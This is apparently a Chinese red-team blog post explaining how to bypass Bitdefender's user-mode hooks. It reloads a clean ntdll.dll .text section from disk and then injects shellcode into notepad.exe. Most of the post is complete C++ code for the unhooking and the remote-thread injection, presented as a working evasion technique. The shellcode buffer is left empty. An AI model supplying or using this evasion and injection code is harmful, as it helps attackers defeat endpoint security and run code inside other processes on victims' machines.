本文已上传视频教学:
https://www.bilibili.com/video/BV1Wy4y1X7Z5/?spm_id_from=333.999.0.0
ntdll.dll常常是被挂钩的主要模块,当程序完全加载完毕后,我们可以尝试从system32目录下加载一个干净的ntdll.dll。
-
将 ntdll.dll 的新副本从磁盘映射到进程内存 -
查找挂钩的 ntdll.dll 的 .text 部分的虚拟地址 -
获取 ntdll.dll 基地址 -
模块基址 + 模块的 .text 部分 VirtualAddress -
查找新映射的 ntdll.dll 的 .text 部分的虚拟地址 -
获取挂钩模块的 .text 部分的原始内存保护 -
将 .text 部分从新映射的 dll 复制到原始(挂钩的)ntdll.dll 的虚拟地址(在第 3 步中找到)——这是取消挂钩的主要部分,因为所有挂钩的字节都被磁盘中的新字节覆盖 -
将原始内存保护应用到原始 ntdll.dll 的刚脱钩的 .text 部分
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>
DWORD UNHOOKntdll() {
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\windows\system32\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
return 0;
}
DWORD FindProcPid() {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (!_wcsicmp(pe32.szExeFile, L"notepad.exe")) {
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
return dwProcessId;
}
DWORD INject(DWORD pid) {
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
//messagebox x64 helloWorld
UCHAR buf[] = "";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
if (remoteThread) {
WaitForSingleObject(remoteThread, 500);
CloseHandle(remoteThread);
return 0;
}
CloseHandle(processHandle);
}
int main() {
DWORD pid = FindProcPid();
printf("Find notepad pid : %d", pid);
system("pause");
UNHOOKntdll();
INject(pid);
getchar();
return 0;
}
使用普通注入情况下,bitdefender直接检测到注入,立即结束了我们的进程和文件。
使用以上方式reload ntdll .text段,直接将钩子移除。
使用clear ntdll移钩前:
使用clear ntdll移钩后:
所有的函数都已经unhook
原文始发于微信公众号(红队蓝军):最简单绕过ring3 hook的方式(bypass bitdefender)